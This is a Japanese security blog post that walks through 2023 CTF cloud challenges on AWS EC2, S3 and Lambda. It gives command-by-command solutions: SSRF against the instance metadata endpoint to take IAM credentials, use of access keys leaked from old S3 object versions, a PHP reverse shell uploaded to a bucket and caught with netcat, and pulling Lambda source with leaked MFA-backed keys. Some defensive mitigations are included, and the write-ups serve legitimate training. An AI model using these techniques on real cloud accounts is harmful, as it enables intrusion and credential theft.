blog of morioka12

morioka12のブログ (Security Blog)

CTF Cloud 問題の攻撃手法まとめ(2023年版)

1. 始めに

こんにちは、morioka12 です。

本稿では、2023年に開催された CTF のイベントで、Cloud に関する問題をピックアップして、攻撃手法の特徴について紹介します。


想定読者


過去のまとめブログ

過去にも Cloud に関する問題をまとめているため、こちらも合わせてご覧ください。

過去のまとめブログの方が、内容は丁寧で豊富です。

scgajge12.hatenablog.com

scgajge12.hatenablog.com

scgajge12.hatenablog.com


調査対象

今回の対象となる CTF イベントは、以下のような条件で全て調査しています。

  • 2023年1月1日~12月31日の期間にオンライン形式で開催されている
  • CTFtime のイベントに記載されている
  • Cloud 問題、もしくは Web 問題で Cloud に関する要素を取り入れている問題


2. AWS (Amazon Web Services)

2023年は、調査対象の条件下では5問しかありませんでした。

2.1 Amazon EC2

問題1

vikeCTF 2023 の「Eternal Cloud Conquest」の問題では、EC2 上の Web アプリケーションに対して SSRF を行い、メタデータサービスから IAM Role を取得する問題でした。

問題の Web アプリケーションは、プロフィールページにある Profile Image URL に指定したファイルの内容が適当なページでコメントをすると、指定した URL 先のデータが base64 で保存されて返ってくる仕様でした。

画像以外のデータも base64 で返ってくるため、ここに EC2 のメタデータサービスの URL を指定した状態でコメントをすると、SSRF によりメタデータをレスポンスから取得することが可能でした。

  • URL: http://169.254.169.254/latest/meta-data/iam/security-credentials/
vikeCTF-metadata-role
  • URL: http://169.254.169.254/latest/meta-data/iam/security-credentials/vikeCTF-metadata-role
{
    "Code": "Success",
    "LastUpdated": "2023-03-17T16:00:00Z",
    "Type": "AWS-HMAC",
    "AccessKeyId": "12345678901",
    "SecretAccessKey": "v/12345678901",
    "Token": "vikeCTF{d0nt_f0rg3t_@b0ut_n3tw0rk_@cc355}",
    "Expiration": "2023-03-19T16:00:00Z"
}

EC2 のメタデータサービスにある IAM Role から「vikeCTF-metadata-role」というロールがあることがわかり、そのロールの Token から Flag を取得することが可能でした。


対策案

今回の問題が実際にあった場合の対策としては、主に以下のような案が考えられます。

  • 画像を URL 先から指定できる仕様で、画像以外のファイルを保存しないようにする
  • インスタンスメタデータサービスバージョン 2 (IMDSv2)を有効化しておく
  • (画像を保存する仕様を、URL 先からの保存ではなく、ファイルアップロードによる保存に仕様変更する)

また、ドメインの拒否リストで、ローカル IP やメタデータサービスの IP をブロックするようにする場合は、以下のように回避方法が様々あるため、対策が不十分になる可能性があります。


過去問

過去にも EC2 における SSRF に関する問題は一番多く出題されています。


2.2 Amazon S3

問題1

vikeCTF 2023 の「Super Silly Security」の問題では、S3 バケットのアクセス制御の不備に関する問題でした。

問題の Web アプリケーションにアクセスすると、静的な Web ページがあり、以下のようなエラーが表示されました。

・S3 ERROR: Not in Authenticated AWS User group.

・Authenticated AWS User group.

Web ページを探索すると https://super-silly-security.vikesec.ca/flag.png に画像があり、ここに Flag が含まれている可能性があります。

ドメインを dig コマンドで調査すると、以下のように S3 バケットであることが確認できます。

  • super-silly-security.vikesec.ca.s3-website-us-west-2.amazonaws.com
super-silly-security.vikesec.ca. 0 IN   CNAME   super-silly-security.vikesec.ca.s3-website-us-west-2.amazonaws.com.
super-silly-security.vikesec.ca.s3-website-us-west-2.amazonaws.com. 0 IN CNAME s3-website.us-west-2.amazonaws.com.

S3 バケットの中に Flag の画像があるとわかっているため、次は S3 バケットに直接的に匿名アクセスができるかを試みます。

$ aws s3 ls s3://super-silly-security.vikesec.ca
2023-03-18 08:14:04      24728 flag.png
2023-03-18 08:14:04       1821 index.html
2023-03-18 08:14:04       6489 style.css

$ aws s3 cp s3://super-silly-security.vikesec.ca/flag.png flag.png
download: s3://super-silly-security.vikesec.ca/flag.png to ./flag.png

すると、実際に flag.png をローカルにダウンロードすることができ、画像から埋め込まれた Flag を得ることが可能でした。


問題2

HTB Business CTF 2023 の「Unveiled」の問題では、誤ってハードコードされたクレデンシャルを取得してファイルをアップロードして、最終的にリバースシェルを行う問題でした。

問題の Web アプリケーションにアクセスすると、簡易的な Web ページがあり、HTML のコードから s3.unveiled.htb というドメインJavaScript ファイルがあることがわかりました。

  • URL: http://10.129.228.37/index.html
 ...
<script src="http://s3.unveiled.htb/unveiled-backups/main.js"/>
 ...

さらに s3.unveiled.htb を調査すると、これは S3 バケットに該当していたため、AWS CLI で調査していきます。

今回は、以下のように事前にエイリアスを設定した状態で楽に調査してみます。

$ alias aws='aws --endpoint-url http://s3.unveiled.htb'

次に S3 バケットの中身を見てみます。

$ aws s3 ls                                            
2023-07-16 07:54:09 unveiled-backups
2023-07-16 07:54:09 website-assets

$ aws s3 ls unveiled-backups
index.html
main.tf

$ aws s3 ls website-assets                  

An error occurred (InvalidClientTokenId) when calling the ListObjectsV2 operation: The security token included in the request is invalid
$ aws s3api list-buckets
Buckets:
- CreationDate: '2023-07-18T11:48:16+00:00'
   Name: unveiled-backups
- CreationDate: '2023-07-18T11:48:17+00:00'
   Name: website-assets
Owner:
   DisplayName: webfile
   ID: 75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a

次に S3 バケットunveiled-backups からファイルをダウンロードして、ファイルの中身を見てみます。

$ aws s3api get-object --bucket unveiled-backups --key index.html index.html
$ aws s3api get-object --bucket unveiled-backups --key main.tf main.tf
$ cat main.tf
variable "aws_access_key"{
  default = ""
}
variable "aws_secret_key"{
  default = ""
}

provider "aws" {
  access_key=var.aws_access_key
  secret_key=var.aws_secret_key
}

resource "aws_s3_bucket" "unveiled-backups" {
  bucket = "unveiled-backups"
  acl    = "private"
  tags = {
    Name        = "S3 Bucket"
    Environment = "Prod"
  }
  versioning {
    enabled = true
  }
}

resource "aws_s3_bucket_acl" "bucket_acl" {
  bucket = aws_s3_bucket.unveiled-backups.id
  acl    = "public-read"
}

resource "aws_s3_bucket" "website-assets" {
  bucket = "website-assets"
  acl    = "private"
}

data "aws_iam_policy_document" "allow_s3_access" {
  statement {
    principals {
      type        = "AWS"
      identifiers = ["683633011377"]
    }

    actions = [
      "s3:GetObject",
      "s3:ListBucket",
      "s3:PutObject"
    ]

    resources = [
      aws_s3_bucket.website-assets.arn,
      "${aws_s3_bucket.website-assets.arn}/*",
    ]
  }

resource "aws_s3_bucket_policy" "bucket_policy" {
  bucket = aws_s3_bucket.website-assets.id
  policy = data.aws_iam_policy_document.allow_s3_access.json
}

しかし、aws_access_keyaws_secret_key には認証情報などの記載がありませんでした。

再度、S3 バケットunveiled-backups をさらに調査してみると、2つのバージョンが main.tf のファイルに存在することがわかります。

$ aws s3api list-object-versions --bucket unveiled-backups
{
    "Versions": [
        ...
        {
            "ETag": "\"9c9e9d85b28ce6bbbba93e0860389c65\"",
            "Size": 1107,
            "StorageClass": "STANDARD",
            "Key": "main.tf",
            "VersionId": "a3156f08-f993-4dbe-8e93-cc5495af3309",
            "IsLatest": true,
            "LastModified": "2023-07-16T11:54:11+00:00",
            "Owner": {
                "DisplayName": "webfile",
                "ID": "75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a"
            }
        },
        {
            "ETag": "\"4947c773e44f5973a9c3d37f24cb8e63\"",
            "Size": 1167,
            "StorageClass": "STANDARD",
            "Key": "main.tf",
            "VersionId": "26d116f4-4977-43d9-9f47-be4ff730fbf8",
            "IsLatest": false,
            "LastModified": "2023-07-16T11:54:11+00:00",
            "Owner": {
                "DisplayName": "webfile",
                "ID": "75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a"
            }
        }
    ]
}

そのため、古いバージョンの方を取得して違いを抽出してみます。

$ aws s3api get-object --bucket unveiled-backups --key main.tf main.tf --version-id 26d116f4-4977-43d9-9f47-be4ff730fbf8

$ cp main.tf unveiled-backups/mainWithCreds.tf

$ diff unveiled-backups/mainWithCreds.tf unveiled-backups/main.tf 
2c2
<   default = "AKIA6CFMOGFLAHOPQTMA"
---
>   default = ""
5c5
<   default = "tLK3S3CNsXfj0mjPsIH2iCh5odYHMPDwSVxn7CB5"
---
>   default = ""

すると AWS の認証情報(クレデンシャル)を取得することができました。

これをローカルに設定して、アクセス不可だった S3 バケットwebsite-assets に再度アクセスしてみます。

$ aws configure --profile webfile
AWS Access Key ID [None]: AKIA6CFMOGFLAHOPQTMA
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]: json
$ aws s3 ls website-assets --profile webfile
2023-07-16 07:54:10      91790 background.jpg
2023-07-16 07:54:10       4372 index.html

すると、アクセスすることができ、index.html のファイルが初めに問題にアクセスした際の Web ページに HTML コードだとわかります。

しかし、それ以外は特に使えそうな情報を得ることはできませんでした。

さらに入手した認証情報を調査すると、 S3 バケットの書き込み権限が有効な状態であることがわかりました。

そのため、自由にファイルをアップロードすることが可能でした。

そこで PHP ファイルをアップロードしてリバースシェルを試みます。

github.com

$ nc -lnvp 444
 ...
$ aws s3 cp reverse.php s3://website-assets/ --profile webfile
upload: ./reverse.php to s3://website-assets/reverse.php
  • URL: http://10.129.228.37/reverse.php

最終的に、アップロードしたファイルにアクセスして、リバースシェルにより直接サーバーから Flag を得ることが可能でした。

$ whoami
www-data

$ find / -name flag.txt 2>/dev/null
/var/www/flag.txt

$ cat /var/www/flag.txt
HTB{th3_r3d_pl4n3ts_cl0ud_h4s_f4ll3n}


対策案

今回の問題が実際にあった場合の対策としては、主に以下のような案が考えられます。


過去問

過去にも S3 における アクセス制御の不備に関する問題は多く出題されています。


2.3 AWS Lambda

問題1

Nullcon Berlin HackIM 2023 CTF の「Rain checks」の問題では、得た認証情報を使って Lambda 関数を扱う問題でした。

問題に添付されたファイルから、以下の認証情報を得ることができる状態でした。

AWS Access Key ID: AKIA22D7J5LEAGT3CKGP
AWS Secret Access Key: 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
Mfa Device Hardware Token: E3HGFFMHZDLJG2WAEO5FOLMB3GGVVKQNOAIIQ5TIBVBZ4G773RPB47QVC3QTZSJV
Mfa Serial Key: arn:aws:iam::743296330440:mfa/mfa-exposed-user
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VisualEditor0",
      "Effect": "Allow",
      "Action": [
        "lambda:GetLayerVersion",
        "lambda:GetFunction",
        "lambda:GetLayerVersionPolicy"
      ],
      "Resource": "*",
      "Condition": {
        "Bool": {
          "aws:MultiFactorAuthPresent": "true"
        }
      }
    },
    {
      "Sid": "VisualEditor1",
      "Effect": "Allow",
      "Action": [
        "lambda:UpdateFunctionCode",
        "lambda:InvokeFunction"
      ],
      "Resource": "arn:aws:lambda:eu-central-1:743296330440:function:lambda-confirm-secret",
      "Condition": {
        "Bool": {
          "aws:MultiFactorAuthPresent": "true"
        }
      }
    }
  ]
}

これらを用いて AWS CLI でローカルに設定します。

$ aws configure --profile mfa-exposed-user
AWS Access Key ID [None]: AKIA22D7J5LEAGT3CKGP
AWS Secret Access Key [None]: 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
Default region name [None]: eu-central-1
Default output format [None]: json

また、「Mfa Device Hardware Token」を使って MFA アプリに設定します。そしてトークンコードを取得できるようにします。

以下のようなサイトで MFA を手軽に設定することもできます。

stefansundin.github.io

これにより、以下のようにセッショントークを取得することができます。

$ aws sts get-session-token --serial-number arn:aws:iam::743296330440:mfa/mfa-exposed-user --token-code 174257 --profile mfa-exposed-user

取得したセッショントークを別のプロフィールとして、以下のようにローカルで設定します。

[mfa]
aws_access_key_id = ASIA22D7J5LEHSZ5MO6Y
aws_secret_access_key = Cb9QbakPmXIW86kgM0r30fRXcGyY7veOWWk3KkVB
aws_session_token = FwoGZXIvYXdzEMT//////////wEaDFb1WHkN6LX18wD35SKGAbVCK40Ux8/HguSIcusRpnhNmPC0QKd7iE5Whzp6+E7aLgT4OVHLAMGOEI0DSj9kH5Sur+Ohr08SD4MU0jEhRg088S3W7kQ76s+lCNWdIafus3WaY5V2tm+sw4PuGCh4HKDieaNsEWRVvkZhD7iZGUXjIp2d5iskcBNpRZJA1o2zxUDrAzOjKIStqqAGMigEX+xgyWIragX5Zl3LSm6o1fbsHKiYGXyeXcZC7sbIs4wZ5sxntaZq

これにより、取得していた認証情報をもとに Lambda 上にあるリソースを操作することが可能になりました。

そのため、「lambda-confirm-secret」を実行してみると、以下のように返ってきます。

$ aws lambda get-function --function-name lambda-confirm-secret --region eu-central-1 --profile mfa
{
  "Configuration": {
    "FunctionName": "lambda-confirm-secret",
    "FunctionArn": "arn:aws:lambda:eu-central-1:743296330440:function:lambda-confirm-secret",
    "Runtime": "python3.9",
    "Role": "arn:aws:iam::743296330440:role/role-for-lambda-to-read-secret-flag1",
    "Handler": "lambda_function.lambda_handler",
    "CodeSize": 693,
    "Description": "lambda function that checks the current secret value. Both, the lambda code and the secret are protected against editing by lambda-aws-config-confirm-state-of-lambda and lambda-aws-config-confirm-state-of-secrets ",
    "Timeout": 3,
    "MemorySize": 128,
    "LastModified": "2023-03-09T10:15:31.000+0000",
    "CodeSha256": "XGBROzVr7sFwZJp0F79dvHfNRc6X2Ag3OTbVx9qldOU=",
    "Version": "$LATEST",
    "TracingConfig": {
      "Mode": "PassThrough"
    },
    "RevisionId": "8e79f5f4-5d22-4cd2-ac78-68ee9e3d983a",
    "State": "Active",
    "LastUpdateStatus": "Successful",
    "PackageType": "Zip",
    "Architectures": [
      "x86_64"
    ],
    "EphemeralStorage": {
      "Size": 512
    },
    "SnapStart": {
      "ApplyOn": "None",
      "OptimizationStatus": "Off"
    }
  },
  "Code": {
    "RepositoryType": "S3",
    "Location": "https://awslambda-eu-cent-1-tasks.s3.eu-central-1.amazonaws.com/snapshots/743296330440/lambda-confirm-secret-7170c6e6-2458-4c26-ab03-e66b8fce0d13?versionId=soyBu3Egz3QRUS0WAeGl0LPT1T7ezKD8&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKX%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDGV1LWNlbnRyYWwtMSJGMEQCICS347V9%2BXEAa5pz%2BdoBPR5%2FTYdQa2IEiGrhZCu%2ByI3iAiB8FH%2BMGJpuEBfIXwjiXRY6UmpV2zUeDXDF2462eOprGSq7BQheEAMaDDY4MDY4NjU1OTQzNCIMKMLZq2uWj8bt5j25KpgF6AAx3b4wb5um00V1%2BnINkWdA4B1qXZR%2FIsY0OxOVkWvlg2j2Ku%2Fc1OXkle7oVpjjU0HTKW%2FnVlmmZGzfFUzkpjpgKE01MEjLja2NWIklJYIJ5idrKLkiJOxgBlEMhLGbM%2BRRrJeudiBolQFe4u4VBsOAUAjKkJ%2Bgw5PB4R2MqDW1DPASh1R1QwZt1dWNwr34TMInKaDAurcjTZ6AWEvDPl8DtGVzYUn26OagxilfdrUGzjHJitgkG7GrZwRNm8xmIoqSu6IQ4zZest683adyeK1L2AC3%2FTtfAtqb9AyaG41nv8XwKKt%2FUD1ii1WpF5WuXjQ%2FiiztF8TeAXKCr7oa3QXZuE8bMNooqziJvVmyytx8AJgKEmO8iiTJJq%2BFGnMW3jiVrzc95bUxURzvfoO1RZjQIdu0ShmwkIMer844qh%2BxTM%2F0CH2KdgzgO5xxlAkZ9YjZ8jvGJ2Txxqb093F%2FrvtfJxwz9uYfTNCFsoEMqTRtyHUhFwSf1XJp%2BuWOH9%2FhhXDH64JH%2F%2FLhzvk%2FMDObT1GNZDghC007mFVJwUmAk0vvb8h7FMQJzf8OwJTm34T0sygKYmFavLRKWq8LaD9orpjGiVam8PLrr9ahjK0FyOnyCMb6I4A3WcR1CZZ7Vn%2BYUnUu8ov4EVLdgRJq%2FPPg7E6GGN6OhaeQVUAGTBUKFMl%2B6m0W6EfTeDytdFgy%2FoJwCf2utdY9KlWbNarZQcUZPyFFZqMWkHgCWkllQZ8%2BZMtxCb2Rv0aqqtgXNd0i%2FAZBOgYLtf4iEmOhYKisjAMuG6WuNdO0XeYnkyk%2FLGJCjnTNQKQPNHpMCpN66gSmoucWVLo2e%2BFDCjBjVc5rFdbj4cOvCimA1cYyTTKZM1369v%2FxTCv1vUF3JjDso6egBjqyAY744zxDPwiwtsU2loSo85nMH7CSwY%2FcUa4%2BqFhjJhzvnGmpVU4mk%2BdYxD2bpHCm%2FvxAx%2FJVQYobEnvIFTCxOk1FaTSxsMCY0JJeJ9aF5Nalrl%2FRqG%2FMLwmtj1GIY5I%2FbFlEqYrpfnya%2FgYqS%2FJwqYlpOYB0mnfVv%2BAMpiglVKor40gKrf2GBxOo2Yx0%2F5pMyDRDt6NcB3pd8w860dLyVjr5pKsY6IAhnNixbrddshAO02w%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20230309T132522Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAZ47AUUDFASSBGY5K%2F20230309%2Feu-central-1%2Fs3%2Faws4_request&X-Amz-Signature=a3e2b642c710d932e8d1cc6bbd595e52ae8b62cd1f86ee7704d239591cbf71f0"
  }
}

レスポンスに含まれる S3 バケットのリンクにアクセスすると、Lambda 関数のソースコードをダウンロードすることができました。

import json
import hashlib
import boto3
from botocore.exceptions import ClientError
import base64

def lambda_handler(event, context):
   flag = get_secret()
   m = hashlib.sha512()
   m.update(flag.encode('utf-8')) #b"Nobody inspects")
   hash = base64.b64encode(m.digest())
   if hash == b'cBOdVrF/i42uk+zG6hT/f080JYXUl5JuItkOVdQuC2+J7QCxTNo5ivYglOBT3r3p9P6tpwqfSbr2aqqtV1G5gg==':
       message = "[*] Secret value confirmed"
   else:
       message = "[!] WARNING: SECRET VALUE could not be confirmed!"
   
   return {
       'statusCode': 200,
       'body': json.dumps(message)
   }

def get_secret():

   secret_name = "flag1"
   region_name = "eu-central-1"

   session = boto3.session.Session()
   client = session.client(
       service_name='secretsmanager',
       region_name=region_name
   )

   try:
       get_secret_value_response = client.get_secret_value(
           SecretId=secret_name
       )
   except ClientError as e: 
       raise e

   return get_secret_value_response['SecretString']

また、さっきの Lambda 関数にあった「Description」に、別の関数名が含まれていました。

Descrption: lambda function that checks the current secret value. Both, the lambda code and the secret are protected against editing by lambda-aws-config-confirm-state-of-lambda and lambda-aws-config-confirm-state-of-secrets

  • lambda-aws-config-confirm-state-of-lambda
  • lambda-aws-config-confirm-state-of-secrets

次に先ほどと同様に「lambda-aws-config-confirm-state-of-secrets」の Lambda 関数のソースコードを取得して、ハードコードされたシークレットな情報が含まれていました。

$ aws lambda get-function --function-name lambda-aws-config-confirm-state-of-secrets --region eu-central-1 --profile mfa
def correct_secret():
    secret_name = "flag1"
    region_name = "eu-central-1"

    session = boto3.session.Session()
    client = session.client(
        service_name='secretsmanager',
        region_name=region_name
    )

    response = client.put_secret_value(
    SecretId=secret_name,
    SecretString=base64.b64decode('RU5Pe04wX0VkMXRfU3QxbGxfVnVsbn0='))

最後に、SecretString の中身をデコードすると Flag を取得することが可能でした。

$ echo RU5Pe04wX0VkMXRfU3QxbGxfVnVsbn0= | base64 -d
ENO{N0_Ed1t_St1ll_Vuln}


問題2

WaniCTF 2023 の「Lambda」の問題では、Amazon API Gateway で作られた API を使って Lambda 関数のソースコードを取得する問題でした。

問題にアクセスすると、ユーザー名とパスワードによるログインページが表示されます。

そこでは、login_submit.js という JavaScript ファイルが動いていて、コードを見ると https://k0gh2dp2jg.execute-api.ap-northeast-1.amazonaws.com/test/ にリクエストを送信しています。

window.onload = (event) => {
  const btn = document.querySelector("#submitBtn");

  btn.addEventListener("click", async () => {
    console.log("aaa");
    const password = document.querySelector(".password");
    const username = document.querySelector(".username");
    const result = document.querySelector(".result");
    console.log(password);
    console.log(username);
    const url = new URL(
      "https://k0gh2dp2jg.execute-api.ap-northeast-1.amazonaws.com/test/"
    );
    url.searchParams.append("PassWord", password.value);
    url.searchParams.append("UserName", username.value);
    const response = await fetch(url.href, { method: "get" });
    Promise.resolve(response.text()).then(
      (value) => {
        console.log(value);
        result.innerText = value;
      },
      (value) => {
        console.error(value);
      }
    );
  });
};

また、問題の添付ファイルから AWS のアクセスキーとシークレットキーとリージョン名が書かれた CSV ファイルでした。

この認証情報をローカルに設定して、さっきの API GatewayAPI を叩いてみます。

ちなみに、「REST API ID」は URL に含まれる「k0gh2dp2jg」が該当します。

$ aws apigateway get-resources --rest-api-id k0gh2dp2jg
{
    "items": [
        {
            "id": "hd6co6xcng",
            "path": "/",
            "resourceMethods": {
                "GET": {}
            }
        }
    ]
}
$ aws apigateway get-integration --rest-api-id k0gh2dp2jg --resource-id hd6co6xcng --http-method GET
{
    "type": "AWS_PROXY",
    "httpMethod": "POST",
    "uri": "arn:aws:apigateway:ap-northeast-1:lambda:path/2015-03-31/functions/arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function/invocations",
    "passthroughBehavior": "WHEN_NO_MATCH",
    "contentHandling": "CONVERT_TO_TEXT",
    "timeoutInMillis": 29000,
    "cacheNamespace": "hd6co6xcng",
    "cacheKeyParameters": [],
    "integrationResponses": {
        "200": {
            "statusCode": "200",
            "responseTemplates": {}
        }
    }
}

Resource ID から Lambda 関数の ARN を取得することができました。

そのため、Lambda 関数の情報を取得してみます。

$ aws lambda get-function --function-name arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function
{
    "Configuration": {
        "FunctionName": "wani_function",
        "FunctionArn": "arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function",
        "Runtime": "dotnet6",
        "Role": "arn:aws:iam::839865256996:role/service-role/wani_function-role-zhw0ck9t",
        "Handler": "WaniCTF_Lambda::WaniCTF_Lambda.Function::LoginWani",
        "CodeSize": 960588,
        "Description": "",
        "Timeout": 15,
        "MemorySize": 512,
        "LastModified": "2023-05-01T14:21:15.000+0000",
        "CodeSha256": "Gfkg4Q7OrMA+DPsFg6zR+gZXezeG8KEMe/8w8BLmRSA=",
        "Version": "$LATEST",
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "0a4cde2c-6dbb-4240-9332-2f5611256deb",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip",
        "Architectures": [
            "x86_64"
        ],
        "EphemeralStorage": {
            "Size": 512
        }
    },
    "Code": {
        "RepositoryType": "S3",
        "Location": "...(URL)..."
    }
}

Code の URL から .NET のファイルをダウンロードすることができました。

$ ls
Amazon.Lambda.APIGatewayEvents.dll    Amazon.Lambda.Serialization.SystemTextJson.dll  WaniCTF_Lambda.dll
Amazon.Lambda.Core.dll                Newtonsoft.Json.dll                             WaniCTF_Lambda.runtimeconfig.json
Amazon.Lambda.Serialization.Json.dll  WaniCTF_Lambda.deps.json

.NET のファイルを取得したため、解析に「dnSpy」を使ってみます。

デコンパイルされたコードから、Lambda 関数のソースコードに直接 Flag が含まれていて、得ることができました。

namespace WaniCTF_Lambda
{
    // Token: 0x02000005 RID: 5
    public class Function
    {
        // Token: 0x06000005 RID: 5 RVA: 0x00010B88 File Offset: 0x00000B88
        [NullableContext(1)]
        public APIGatewayProxyResponse LoginWani(APIGatewayProxyRequest input, ILambdaContext context)
        {
            IDictionary<string, string> queryStringParameters = input.QueryStringParameters;
            Dictionary<string, string> dictionary = new Dictionary<string, string>();
            dictionary["Access-Control-Allow-Origin"] = "https://lambda-web.wanictf.org";
            dictionary["Access-Control-Allow-Methods"] = "GET OPTIONS";
            Dictionary<string, string> headers = dictionary;
            if (queryStringParameters == null)
            {
                return new APIGatewayProxyResponse
                {
                    StatusCode = 500,
                    Body = "QueryStringParameters is null",
                    Headers = headers
                };
            }
            if (!queryStringParameters.ContainsKey("UserName") || !queryStringParameters.ContainsKey("PassWord"))
            {
                return new APIGatewayProxyResponse
                {
                    StatusCode = 400,
                    Body = "ユーザー名とパスワードを指定してください",
                    Headers = headers
                };
            }
            string text = queryStringParameters["UserName"];
            string text2 = queryStringParameters["PassWord"];
            if (text == "LambdaWaniwani" && text2 == "aflkajflalkalbnjlsrkaerl")
            {
                return new APIGatewayProxyResponse
                {
                    StatusCode = 200,
                    Body = "FLAG{l4mabd4_1s_s3rverl3ss_s3rv1c3}",
                    Headers = headers
                };
            }
            return new APIGatewayProxyResponse
            {
                StatusCode = 200,
                Body = "Password or UserName are incorrect!!! :  " + text + ": " + text2,
                Headers = headers
            };
        }
    }
}


過去問

過去にも Lambda に関する問題は多く出題されています。


2.4 Amazon Cognito

問題1

追記予定


3. その他

Security-JAWS DAYS

昨年は、Security-JAWS の第30回を記念して Security-JAWS DAYS が開催されて、2日目に AWS CTF が行われました。

出題された問題は、例えば以下のような要素をテーマに問題としてありました。

  • EC2 上にある Web アプリケーションに対して SSRF を行い、メタデータサービスから IAM Role を取得して Flag を得る問題
    • さらに、取得した IAM を使って DynamoDB から Flag を得る問題
  • AWS WAF の規約を回避して SQL Injection を行い、ログインを成功させて Flag を得る問題
  • JavaScript のファイルからハードコードされた認証情報を探し出して AWS Secrets Manager から Flag を得る問題
  • S3 Object の署名済み URL の発行で、Path Traversal を行なって Flag を得る問題
  • AWS 環境における Pentest 問題

詳しくは、以下のブログ先の解説動画をご覧ください。

scgajge12.hatenablog.com


[常設 CTF] The Big IAM Challenge

The Big IAM Challenge とは、Wiz が2023年6月7日から提供する「AWS IAM の設定不備」に関するクラウドセキュリティの常設 CTF です。

この常設 CTF には、6つのステップで問題が構成されていて、よくある IAM の設定不備に焦点を当てて問題が作られています。

詳しくは、以下をご覧ください。

bigiamchallenge.com

この問題は常設であり、解説はネタバレになるため省きますが、どれも面白かったのでぜひチャレンジしてみてください。

ちなみに、問題の環境では以下の AWS サービスが使われていました。

また、全問題を正解することができたら、以下のように証明証が発行されます。

bigiamchallenge.com


[常設 CTF] EKS Cluster Games

EKS Cluster Games とは、Wiz が2023年11月2日から提供する「Amazon EKS」に関するクラウドセキュリティの常設 CTF です。

この常設 CTF には、5つのステップで問題が構成されていて、 Amazon EKS (Kubernetes)の設定不備やセキュリティ問題に焦点を当てて問題が作られています。

詳しくは、以下をご覧ください。

eksclustergames.com

この問題は常設であり、解説はネタバレになるため省きますが、どれも面白かったのでぜひチャレンジしてみてください。

また、全問題を正解することができたら、以下のように証明証が発行されます。

eksclustergames.com


年始に勉強したい AWS セキュリティのコンテンツまとめ

aws.amazon.com


4. 終わりに

本稿では、2023年に開催された CTF のイベントで、Cloud に関する問題をピックアップして、攻撃手法の特徴について紹介しました。

ここまでお読みいただきありがとうございました。